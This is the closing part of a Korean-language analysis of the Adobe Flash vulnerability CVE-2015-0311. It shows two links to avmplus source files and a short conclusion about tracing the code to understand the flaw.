         https://github.com/adobe-flash/avmplus/blob/master/core/DomainEnv.h
         https://github.com/adobe-flash/avmplus/blob/master/core/DomainEnv.cpp
    


    마침

    여기까지 해서 CVE-2015-0311 취약점에 대해 알아봤다. 소스를 따라가는 과정에서 다소 많은 시간을 할애했지만 차분히 따라가면서 프로그램의 흐름과 문제점(취약점)을 이해하는데 조금이나마 도움이 되었길 바란다. 또한, 문서에서 얻지 못한 궁금한 부분이 있다면 앞에서 제시한 세 개의 문서를 읽어보길 바란다.
    이 문서가 CVE-2015-0311 취약점을 검색했을때 hacklab에서 한글로 된 분석 문서 두 개를 건지는 행운(일명 ‘땡 잡았다’)으로 활용되길 바란다.